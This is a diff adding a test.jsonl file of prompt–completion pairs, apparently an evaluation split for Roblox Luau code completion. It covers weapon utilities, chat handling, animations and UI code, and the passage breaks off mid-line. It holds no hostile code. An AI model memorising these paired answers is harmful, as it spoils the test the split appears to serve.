diff --git "a/test.jsonl" "b/test.jsonl" new file mode 100644--- /dev/null +++ "b/test.jsonl" @@ -0,0 +1,4969 @@ +{"prompt": "--!strict", "completion": "\n\nlocal Players = game:GetService(\"Players\")\n\nlocal weaponUtil = {}\n\nfunction weaponUtil.getHumanoid(part: Part)\n\twhile part and part ~= workspace do\n\t\tif part:IsA(\"Model\") and part.PrimaryPart and part.PrimaryPart.Name == \"HumanoidRootPart\" then\n\t\t\treturn part:FindFirstChildOfClass(\"Humanoid\")\n\t\tend\n\n\t\tpart = part.Parent\n\tend\nend\n\nfunction weaponUtil.getPlayerFromHumanoid(humanoid: Humanoid)\n\tfor _, player in ipairs(Players:GetPlayers()) do\n\t\tif player.Character and humanoid:IsDescendantOf(player.Character) then\n\t\t\treturn player\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction weaponUtil.getAnimatorFromPlayer(player: Player)\n\tassert(player.Character, string.format(\"Unable to get animator for player %s. Player does not have a character.\", player.Name))\n\n\tlocal humanoid = player.Character:FindFirstChildOfClass(\"Humanoid\")\n\tlocal animator = humanoid:FindFirstChildOfClass(\"Animator\")\n\n\treturn animator\nend\n\nreturn weaponUtil\n"} +{"prompt": "--[[\n\tSince Roact yields between render and didMount, a Dev Module user can, in theory, update the\n\tconfiguration values between the two lifecycle methods, resulting in a race condition.\n\n\tWe need to make sure the event is connected before the yield happens, therefore we connect to this\n\tevent in two locations:\n\t1. init(), and\n\t2. didMount()\n\n\t#2 is added to ensure that this event gets connected in the event that a user unmounts ConfigurationContext\n\tand mounts it again, which is extremely unlikely.\n]]", "completion": "\nfunction ConfigurationProvider:_connectUpdateEvent()\n\tif self.changedConn then\n\t\treturn\n\tend\n\n\tself.changedConn = self.props.config.changed.Event:Connect(function(values)\n\t\tself:setState(values)\n\tend)\nend\n"} +{"prompt": "-- Removes old entries in JustTouched", "completion": "\nlocal function RemoveOldTouches()\n\tfor player, touchTime in pairs(JustTouched) do\n\t\tif time() > touchTime + 1 then\n\t\t\tJustTouched[player] = nil\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Remote Events Client -> Server", "completion": "\n\tRE_replicateProjectile.OnServerEvent:Connect(function(player, bullet) projectiles.CreateBullet(player, bullet) end)\n\tRE_tempSaveProfile.OnServerEvent:Connect(function(player)\n\t\tprint(\"Server received save request\")\n\t\tlocal playerID = player.UserId\n\t\tdatabase.SaveProfile(playerID) \n\tend)\n\t\n"} +{"prompt": "-- main program", "completion": "\n\nlocal runService = game:service(\"RunService\");\n"} +{"prompt": "--local function attack(target)\n--\tlocal distance = (TeddyAI.HumanoidRootPart.Position - target.HumanoidRootPart.Position).Magnitude", "completion": "\n\t--if distance > 90 then\n\t--\thumanoid:MoveTo(target.HumanoidRootPart.Position)\n\t--else\n\t\t--stop movement\n\t\t--TeddyAI.Humanoid.WalkSpeed = 0\n\t\t--target.Humanoid.WalkSpeed = 0\n\t\t-- play sound\n\t--\tTeddyAI.Head.AttackSound:Play()\n\t\t--fire event\n\t\t--local events = game.ReplicatedStorage:WaitForChild(\"Events\")\n\t\t--local player = game.Players:GetPlayerFromCharacter(target)\n\t\t--events:WaitForChild(\"playerDeath\"):FireClient(player, TeddyAI)\n\t\t --play the animation\n\t\t--local attackAnim = humanoid:LoadAnimation(script.AttackAnim)\n\t\t--attackAnim:Play()\n\t\t--attackAnim.Stopped:Wait()\n\t\t --kill the player\n\t\t--target.Humanoid.Health = 0\n\t\t--restart movement\n\t\t--TeddyAI.Humanoid.WalkSpeed = script.Parent.Humanoid.WalkSpeed\n\t--end"} +{"prompt": "-- regular lua compatibility", "completion": "\nlocal typeof = typeof or type\n\nlocal function primitive(typeName)\n\treturn function(value)\n\t\tlocal valueType = typeof(value)\n\t\tif valueType == typeName then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nlocal t = {}\n\nfunction t.any(value)\n\tif value ~= nil then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n"} +{"prompt": "--create window", "completion": "\nfunction Color:Create()\n\tlocal sample = script.ColorWindow:Clone()\n\tsample.Position = self.Params.Position\n\tsample.Parent = self.Gui\n\tsample.Visible = true\n\n\tself.Instance = sample.Content\n\t\n\t--colors\n\tfor i,v in pairs(sample:GetDescendants()) do\n\t\tif not self.Params.RoundedCorners and v:IsA(\"UICorner\") and v.Parent.Name ~= \"Select\" then\n\t\t\tv:Destroy()\n\t\tend\n\t\t\n\t\tif v:IsA(\"TextLabel\") or v:IsA(\"TextBox\") or v:IsA(\"ImageButton\") then\n\t\t\tv[(v:IsA(\"TextLabel\") or v:IsA(\"TextBox\")) and \"TextColor3\" or \"ImageColor3\"] = self.Params.TextColor\n\t\tend\n\tend\n\t\n\tsample.BackgroundColor3 = self.Params.PrimaryColor\n\tsample.Properties.BackgroundColor3 = self.Params.PrimaryColor\n\t\n\tsample.Properties.Line.BackgroundColor3 = self.Params.SecondaryColor\n\tsample.Content.Bottom.Hex.Frame.BackgroundColor3 = self.Params.SecondaryColor\n\tfor i,v in pairs({sample.Properties.HSV,sample.Properties.RGB}) do\n\t\tfor q,e in pairs(v:GetChildren()) do\n\t\t\tif e:IsA(\"Frame\") then\n\t\t\t\te.Frame.BackgroundColor3 = self.Params.SecondaryColor\n\t\t\tend\n\t\tend\n\tend\n\t\n\tsample.Topbar.BackgroundColor3 = self.Params.TopbarColor\n\tsample.Topbar.Frame.BackgroundColor3 = self.Params.TopbarColor\n\n\t--events\n\tself.Finished = sample.FinishedEvent.Event\n\tself.Canceled = sample.CanceledEvent.Event\n\tself.Updated = sample.UpdateEvent.Event\n\n\t--drag\n\tif self.Params.Draggable and not uis.TouchEnabled then\n\t\tself.Drag = Drag.New(self.Instance.Parent)\n\n\t\tlocal dragButton = self.Instance.Parent.Topbar.Button\n\t\tdragButton.MouseButton1Down:Connect(function()\n\t\t\tself.Drag:Start()\n\t\tend)\n\n\t\tdragButton.MouseButton1Up:Connect(function()\n\t\t\tself.Drag:Stop()\n\t\tend)\n\n\t\tself._dragStopFunc = uis.InputEnded:Connect(function(input,typing)\n\t\t\tif typing then return end\n\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tif self.Drag.Active then\n\t\t\t\t\tself.Drag:Stop()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--// Settings //--", "completion": "\n\nscript.Parent.Triggered:Connect(function(plr)\n\tplr.leaderstats.Coins.Value = plr.leaderstats.Coins.Value + amount\nend)\n"} +{"prompt": "--// Event Connections", "completion": "\nL_112_.OnClientEvent:connect(function(L_325_arg1, L_326_arg2)\n\tif L_325_arg1 ~= L_2_ then\n\t\tlocal L_327_ = L_325_arg1.Character\n\t\tlocal L_328_ = L_327_.AnimBase.AnimBaseW\n\t\tlocal L_329_ = L_328_.C1\n\t\tif L_326_arg2 then\n\t\t\tL_127_(L_328_, nil , L_327_.Head.CFrame, function(L_330_arg1)\n\t\t\t\treturn math.sin(math.rad(L_330_arg1))\n\t\t\tend, 0.25)\n\t\telseif not L_326_arg2 then\n\t\t\tL_127_(L_328_, nil , L_329_, function(L_331_arg1)\n\t\t\t\treturn math.sin(math.rad(L_331_arg1))\n\t\t\tend, 0.25)\n\t\tend\n\tend\nend)\n\nL_115_.OnClientEvent:connect(function(L_332_arg1, L_333_arg2)\n\tif L_42_ and L_333_arg2 ~= L_2_ and L_24_.CanCallout then\n\t\tif (L_3_.HumanoidRootPart.Position - L_332_arg1).magnitude <= 10 then\n\t\t\tL_41_.Visible = true\n\t\t\tlocal L_334_ = ScreamCalculation()\n\t\t\tif L_334_ then\n\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\tL_116_:FireServer(L_7_.AHH, L_96_[math.random(0, 21)])\n\t\t\t\tend\n\t\t\tend\n\t\t\tL_14_:Create(L_41_, TweenInfo.new(0.1), {\n\t\t\t\tBackgroundTransparency = 0.4\n\t\t\t}):Play()\n\t\t\tdelay(0.1, function()\n\t\t\t\tL_14_:Create(L_41_, TweenInfo.new(3), {\n\t\t\t\t\tBackgroundTransparency = 1\n\t\t\t\t}):Play()\n\t\t\tend)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Static camera utils", "completion": "\nlocal CameraUtils = require(script:WaitForChild(\"CameraUtils\"))\nlocal CameraInput = require(script:WaitForChild(\"CameraInput\"))\n"} +{"prompt": "-- Factor of torque applied to change the wheel direction\n-- Larger number generally means faster braking", "completion": "\nlocal BRAKING_TORQUE = 8000\n"} +{"prompt": "--Obj", "completion": "\nlocal NavigatorStringValue: StringValue = ReplicatedStorage.gameStatus.navigatorText\nlocal NavigatorFrame: Frame = script.Parent.Parent\nlocal NavigatorText: TextLabel = script.Parent\n"} +{"prompt": "-- Checks if there are any blocks placed on top of the area the tree would respawn, and if there are, it won't respawn\n-- It just kinda started working and I don't know what I did to make it start working", "completion": "\nlocal waitTime = math.random(600,1200) -- Respawns after 10-20 minutes"} +{"prompt": "--[[\n\tCalled when the original table is changed.\n\n\tThis will firstly find any keys meeting any of the following criteria:\n\n\t- they were not previously present\n\t- a dependency used during generation of this value has changed\n\n\tIt will recalculate those key pairs, storing information about any\n\tdependencies used in the processor callback during output key generation,\n\tand save the new key to the output array with the same value. If it is\n\toverwriting an older value, that older value will be passed to the\n\tdestructor for cleanup.\n\n\tFinally, this function will find keys that are no longer present, and remove\n\ttheir output keys from the output table and pass them to the destructor.\n]]", "completion": "\n\nfunction class:update(): boolean\n\tlocal inputIsState = self._inputIsState\n\tlocal newInputTable = if inputIsState then self._inputTable:get(false) else self._inputTable\n\tlocal oldInputTable = self._oldInputTable\n\tlocal outputTable = self._outputTable\n\n\tlocal keyOIMap = self._keyOIMap\n\tlocal keyIOMap = self._keyIOMap\n\tlocal meta = self._meta\n\n\tlocal didChange = false\n\n\n\t-- clean out main dependency set\n\tfor dependency in pairs(self.dependencySet) do\n\t\tdependency.dependentSet[self] = nil\n\tend\n\n\tself._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet\n\ttable.clear(self.dependencySet)\n\n\t-- if the input table is a state object, add it as a dependency\n\tif inputIsState then\n\t\tself._inputTable.dependentSet[self] = true\n\t\tself.dependencySet[self._inputTable] = true\n\tend\n\n\n\t-- STEP 1: find keys that changed or were not previously present\n\tfor newInKey, value in pairs(newInputTable) do\n\t\t-- get or create key data\n\t\tlocal keyData = self._keyData[newInKey]\n\n\t\tif keyData == nil then\n\t\t\tkeyData = {\n\t\t\t\tdependencySet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t\toldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t\tdependencyValues = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t}\n\t\t\tself._keyData[newInKey] = keyData\n\t\tend\n\n\t\t-- check if the key is new\n\t\tlocal shouldRecalculate = oldInputTable[newInKey] == nil\n\n\t\t-- check if the key's dependencies have changed\n\t\tif shouldRecalculate == false then\n\t\t\tfor dependency, oldValue in pairs(keyData.dependencyValues) do\n\t\t\t\tif oldValue ~= dependency:get(false) then\n\t\t\t\t\tshouldRecalculate = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\t\t-- recalculate the output key if necessary\n\t\tif shouldRecalculate then\n\t\t\tkeyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet\n\t\t\ttable.clear(keyData.dependencySet)\n\n\t\t\tlocal processOK, newOutKey, newMetaValue = captureDependencies(\n\t\t\t\tkeyData.dependencySet,\n\t\t\t\tself._processor,\n\t\t\t\tnewInKey\n\t\t\t)\n\n\t\t\tif processOK then\n\t\t\t\tif self._destructor == nil and (needsDestruction(newOutKey) or needsDestruction(newMetaValue)) then\n\t\t\t\t\tlogWarn(\"destructorNeededForKeys\")\n\t\t\t\tend\n\n\t\t\t\tlocal oldInKey = keyOIMap[newOutKey]\n\t\t\t\tlocal oldOutKey = keyIOMap[newInKey]\n\n\t\t\t\t-- check for key collision\n\t\t\t\tif oldInKey ~= newInKey and newInputTable[oldInKey] ~= nil then\n\t\t\t\t\tlogError(\"forKeysKeyCollision\", nil, tostring(newOutKey), tostring(oldInKey), tostring(newOutKey))\n\t\t\t\tend\n\n\t\t\t\t-- check for a changed output key\n\t\t\t\tif oldOutKey ~= newOutKey and keyOIMap[oldOutKey] == newInKey then\n\t\t\t\t\t-- clean up the old calculated value\n\t\t\t\t\tlocal oldMetaValue = meta[oldOutKey]\n\n\t\t\t\t\tlocal destructOK, err = xpcall(self._destructor or cleanup, parseError, oldOutKey, oldMetaValue)\n\t\t\t\t\tif not destructOK then\n\t\t\t\t\t\tlogErrorNonFatal(\"forKeysDestructorError\", err)\n\t\t\t\t\tend\n\n\t\t\t\t\tkeyOIMap[oldOutKey] = nil\n\t\t\t\t\toutputTable[oldOutKey] = nil\n\t\t\t\t\tmeta[oldOutKey] = nil\n\t\t\t\tend\n\n\t\t\t\t-- update the stored data for this key\n\t\t\t\toldInputTable[newInKey] = value\n\t\t\t\tmeta[newOutKey] = newMetaValue\n\t\t\t\tkeyOIMap[newOutKey] = newInKey\n\t\t\t\tkeyIOMap[newInKey] = newOutKey\n\t\t\t\toutputTable[newOutKey] = value\n\n\t\t\t\t-- if we had to recalculate the output, then we did change\n\t\t\t\tdidChange = true\n\t\t\telse\n\t\t\t\t-- restore old dependencies, because the new dependencies may be corrupt\n\t\t\t\tkeyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet\n\n\t\t\t\tlogErrorNonFatal(\"forKeysProcessorError\", newOutKey)\n\t\t\tend\n\t\tend\n\n\n\t\t-- save dependency values and add to main dependency set\n\t\tfor dependency in pairs(keyData.dependencySet) do\n\t\t\tkeyData.dependencyValues[dependency] = dependency:get(false)\n\n\t\t\tself.dependencySet[dependency] = true\n\t\t\tdependency.dependentSet[self] = true\n\t\tend\n\tend\n\n\n\t-- STEP 2: find keys that were removed\n\tfor outputKey, inputKey in pairs(keyOIMap) do\n\t\tif newInputTable[inputKey] == nil then\n\t\t\t-- clean up the old calculated value\n\t\t\tlocal oldMetaValue = meta[outputKey]\n\n\t\t\tlocal destructOK, err = xpcall(self._destructor or cleanup, parseError, outputKey, oldMetaValue)\n\t\t\tif not destructOK then\n\t\t\t\tlogErrorNonFatal(\"forKeysDestructorError\", err)\n\t\t\tend\n\n\t\t\t-- remove data\n\t\t\toldInputTable[inputKey] = nil\n\t\t\tmeta[outputKey] = nil\n\t\t\tkeyOIMap[outputKey] = nil\n\t\t\tkeyIOMap[inputKey] = nil\n\t\t\toutputTable[outputKey] = nil\n\t\t\tself._keyData[inputKey] = nil\n\n\t\t\t-- if we removed a key, then the table/state changed\n\t\t\tdidChange = true\n\t\tend\n\tend\n\n\treturn didChange\nend\n\nlocal function ForKeys(\n\tinputTable: PubTypes.CanBeState<{ [KI]: any }>,\n\tprocessor: (KI) -> (KO, M?),\n\tdestructor: (KO, M?) -> ()?\n): Types.ForKeys\n\n\tlocal inputIsState = inputTable.type == \"State\" and typeof(inputTable.get) == \"function\"\n\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"ForKeys\",\n\t\tdependencySet = {},\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_oldDependencySet = {},\n\n\t\t_processor = processor,\n\t\t_destructor = destructor,\n\t\t_inputIsState = inputIsState,\n\n\t\t_inputTable = inputTable,\n\t\t_oldInputTable = {},\n\t\t_outputTable = {},\n\t\t_keyOIMap = {},\n\t\t_keyIOMap = {},\n\t\t_keyData = {},\n\t\t_meta = {},\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\tself:update()\n\n\treturn self\nend\n\nreturn ForKeys\n"} +{"prompt": "-- FIXME Luau: Since 2/3 action handlers don't actually use the `action`\n-- parameter, Luau thinks it doesn't exist. So this type is used to make sure it\n-- does. This might be fixed by recent changes to Rodux to add support for types", "completion": "\ntype ActionHandlers = { [string]: (State, any) -> State }\n\nlocal ui = Rodux.createReducer(initialState, {\n\t[selfieModeOpened.name] = function(state: State)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisAppOpen = true,\n\t\t})\n\tend,\n\n\t[selfieModeClosed.name] = function(state: State)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisAppOpen = false,\n\t\t})\n\tend,\n\n\t[setHudButtonEnabled.name] = function(state: State, action: setHudButtonEnabled.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisHudButtonEnabled = action.isEnabled,\n\t\t})\n\tend,\n} :: ActionHandlers)\n\nreturn ui\n"} +{"prompt": "-- delete the line above me if you already made this script's parent visible = false", "completion": "\n\nuis = game:GetService(\"UserInputService\") -- this line gets the service\nismobile = uis.TouchEnabled -- this line checks if the user is on mobile\n\nscript.Parent.Enabled = ismobile -- this line makes the script's parent visible on mobile user screen\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\nlocal TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.Low.Value\nlocal INPUT_PRIORITY = Enum.ContextActionPriority.High.Value\nlocal FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.P}\n\nlocal NAV_GAIN = Vector3.new(1, 1, 1)*64\nlocal PAN_GAIN = Vector2.new(0.75, 1)*8\nlocal FOV_GAIN = 300\n\nlocal PITCH_LIMIT = rad(90)\n\nlocal VEL_STIFFNESS = 1.5\nlocal PAN_STIFFNESS = 1.0\nlocal FOV_STIFFNESS = 4.0\n"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService('Players')\n"} +{"prompt": "-- When Clicked", "completion": "\nfunction onButton1Down(mouse)\n\t--print(\"Down\");\n\t--print(mouse.hit.p);\n\tfire();\n\tupdateAmmo();\nend\n"} +{"prompt": "-- << RETRIEVE FRAMEWORK >>", "completion": "\nlocal main = _G.HDAdminMain\n\n"} +{"prompt": "--// Settings //--", "completion": "\n\nPrompt.Triggered:Connect(function(plr)\n\tplr.leaderstats.Coins.Value = plr.leaderstats.Coins.Value + amount\n\tplr.Data.Exp.Value = plr.Data.Exp.Value + 10\n\t\ts.Playing = true\n\t\tscript.Parent.Parent:Destroy()\nend)\n"} +{"prompt": "--// Event for making player say chat message.", "completion": "\nfunction chatBarFocusLost(enterPressed, inputObject)\n\tDoBackgroundFadeIn()\n\tchatBarFocusChanged:Fire(false)\n\n\tif (enterPressed) then\n\t\tlocal message = ChatBar:GetTextBox().Text\n\n\t\tif ChatBar:IsInCustomState() then\n\t\t\tlocal customMessage = ChatBar:GetCustomMessage()\n\t\t\tif customMessage then\n\t\t\t\tmessage = customMessage\n\t\t\tend\n\t\t\tlocal messageSunk = ChatBar:CustomStateProcessCompletedMessage(message)\n\t\t\tChatBar:ResetCustomState()\n\t\t\tif messageSunk then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tmessage = string.sub(message, 1, ChatSettings.MaximumMessageLength)\n\n\t\tChatBar:GetTextBox().Text = \"\"\n\n\t\tif message ~= \"\" then\n\t\t\t--// Sends signal to eventually call Player:Chat() to handle C++ side legacy stuff.\n\t\t\tmoduleApiTable.MessagePosted:fire(message)\n\n\t\t\tif not CommandProcessor:ProcessCompletedChatMessage(message, ChatWindow) then\n\t\t\t\tif ChatSettings.DisallowedWhiteSpace then\n\t\t\t\t\tfor i = 1, #ChatSettings.DisallowedWhiteSpace do\n\t\t\t\t\t\tif ChatSettings.DisallowedWhiteSpace[i] == \"\\t\" then\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \" \")\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \"\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tmessage = string.gsub(message, \"\\n\", \"\")\n\t\t\t\tmessage = string.gsub(message, \"[ ]+\", \" \")\n\n\t\t\t\tlocal targetChannel = ChatWindow:GetTargetMessageChannel()\n\t\t\t\tif targetChannel then\n\t\t\t\t\tMessageSender:SendMessage(message, targetChannel)\n\t\t\t\telse\n\t\t\t\t\tMessageSender:SendMessage(message, nil)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\nend\n\nlocal ChatBarConnections = {}\nfunction setupChatBarConnections()\n\tfor i = 1, #ChatBarConnections do\n\t\tChatBarConnections[i]:Disconnect()\n\tend\n\tChatBarConnections = {}\n\n\tlocal focusLostConnection = ChatBar:GetTextBox().FocusLost:connect(chatBarFocusLost)\n\ttable.insert(ChatBarConnections, focusLostConnection)\n\n\tlocal focusGainedConnection = ChatBar:GetTextBox().Focused:connect(chatBarFocused)\n\ttable.insert(ChatBarConnections, focusGainedConnection)\nend\n\nsetupChatBarConnections()\nChatBar.GuiObjectsChanged:connect(setupChatBarConnections)\n\nfunction getEchoMessagesInGeneral()\n\tif ChatSettings.EchoMessagesInGeneralChannel == nil then\n\t\treturn true\n\tend\n\treturn ChatSettings.EchoMessagesInGeneralChannel\nend\n\nEventFolder.OnMessageDoneFiltering.OnClientEvent:connect(function(messageData)\n\tif not ChatSettings.ShowUserOwnFilteredMessage then\n\t\tif messageData.FromSpeaker == LocalPlayer.Name then\n\t\t\treturn\n\t\tend\n\tend\n\n\tlocal channelName = messageData.OriginalChannel\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif channelObj then\n\t\tchannelObj:UpdateMessageFiltered(messageData)\n\tend\n\n\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\tif generalChannel then\n\t\t\tgeneralChannel:UpdateMessageFiltered(messageData)\n\t\tend\n\tend\nend)\n\nEventFolder.OnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tif (messageData.FromSpeaker ~= LocalPlayer.Name) then\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\t\tend\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\tend\nend)\n\nEventFolder.OnNewSystemMessage.OnClientEvent:connect(function(messageData, channelName)\n\tchannelName = channelName or \"System\"\n\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\telse\n\t\twarn(string.format(\"Just received system message for channel I'm not in [%s]\", channelName))\n\tend\nend)\n\n\nfunction HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, addHistoryToGeneralChannel,\n\taddWelcomeMessageToGeneralChannel)\n\tif ChatWindow:GetChannel(channel) then\n\t\t--- If the channel has already been added, remove it first.\n\t\tChatWindow:RemoveChannel(channel)\n\tend\n\n\tif (channel == ChatSettings.GeneralChannelName) then\n\t\tDidFirstChannelsLoads = true\n\tend\n\n\tif channelNameColor then\n\t\tChatBar:SetChannelNameColor(channel, channelNameColor)\n\tend\n\n\tlocal channelObj = ChatWindow:AddChannel(channel)\n\n\tif (channelObj) then\n\t\tif (channel == ChatSettings.GeneralChannelName) then\n\t\t\tDoSwitchCurrentChannel(channel)\n\t\tend\n\n\t\tif (messageLog) then\n\t\t\tlocal startIndex = 1\n\t\t\tif #messageLog > ChatSettings.MessageHistoryLengthPerChannel then\n\t\t\t\tstartIndex = #messageLog - ChatSettings.MessageHistoryLengthPerChannel\n\t\t\tend\n\n\t\t\tfor i = startIndex, #messageLog do\n\t\t\t\tchannelObj:AddMessageToChannel(messageLog[i])\n\t\t\tend\n\n\t\t\tif getEchoMessagesInGeneral() and addHistoryToGeneralChannel then\n\t\t\t\tif ChatSettings.GeneralChannelName and channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessagesToChannelByTimeStamp(messageLog, startIndex)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif (welcomeMessage ~= \"\") then\n\t\t\tlocal welcomeMessageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(welcomeMessage),\n\t\t\t\tMessage = trimTrailingSpaces(welcomeMessage),\n\t\t\t\tMessageType = ChatConstants.MessageTypeWelcome,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = nil,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(welcomeMessageObject)\n\n\t\t\tif getEchoMessagesInGeneral() and addWelcomeMessageToGeneralChannel and not ChatSettings.ShowChannelsBar then\n\t\t\t\tif channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessageToChannel(welcomeMessageObject)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tDoFadeInFromNewInformation()\n\tend\n\nend\n\nEventFolder.OnChannelJoined.OnClientEvent:connect(function(channel, welcomeMessage, messageLog, channelNameColor)\n\tHandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, false, true)\nend)\n\nEventFolder.OnChannelLeft.OnClientEvent:connect(function(channel)\n\tChatWindow:RemoveChannel(channel)\n\n\tDoFadeInFromNewInformation()\nend)\n\nEventFolder.OnMuted.OnClientEvent:connect(function(channel)\n\t--// Do something eventually maybe?\n\t--// This used to take away the chat bar in channels the player was muted in.\n\t--// We found out this behavior was inconvenient for doing chat commands though.\nend)\n\nEventFolder.OnUnmuted.OnClientEvent:connect(function(channel)\n\t--// Same as above.\nend)\n\nEventFolder.OnMainChannelSet.OnClientEvent:connect(function(channel)\n\tDoSwitchCurrentChannel(channel)\nend)\n\ncoroutine.wrap(function()\n\t-- ChannelNameColorUpdated may not exist if the client version is older than the server version.\n\tlocal ChannelNameColorUpdated = DefaultChatSystemChatEvents:WaitForChild(\"ChannelNameColorUpdated\", 5)\n\tif ChannelNameColorUpdated then\n\t\tChannelNameColorUpdated.OnClientEvent:connect(function(channelName, channelNameColor)\n\t\t\tChatBar:SetChannelNameColor(channelName, channelNameColor)\n\t\tend)\n\tend\nend)()\n\n"} +{"prompt": "--[=[\n\t@param value T\n\t@return Option | Option\n\n\tSafely wraps the given value as an option. If the\n\tvalue is `nil`, returns `Option.None`, otherwise\n\treturns `Option.Some(value)`.\n]=]", "completion": "\nfunction Option.Wrap(value)\n\tif value == nil then\n\t\treturn Option.None\n\telse\n\t\treturn Option.Some(value)\n\tend\nend\n\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal Object = script.Parent\nlocal Packages = Object.Parent.Parent\n\nlocal types = require(Packages.ES7Types)\ntype Array = types.Array\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tsetAnimationSpeed(speed / 14.5)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 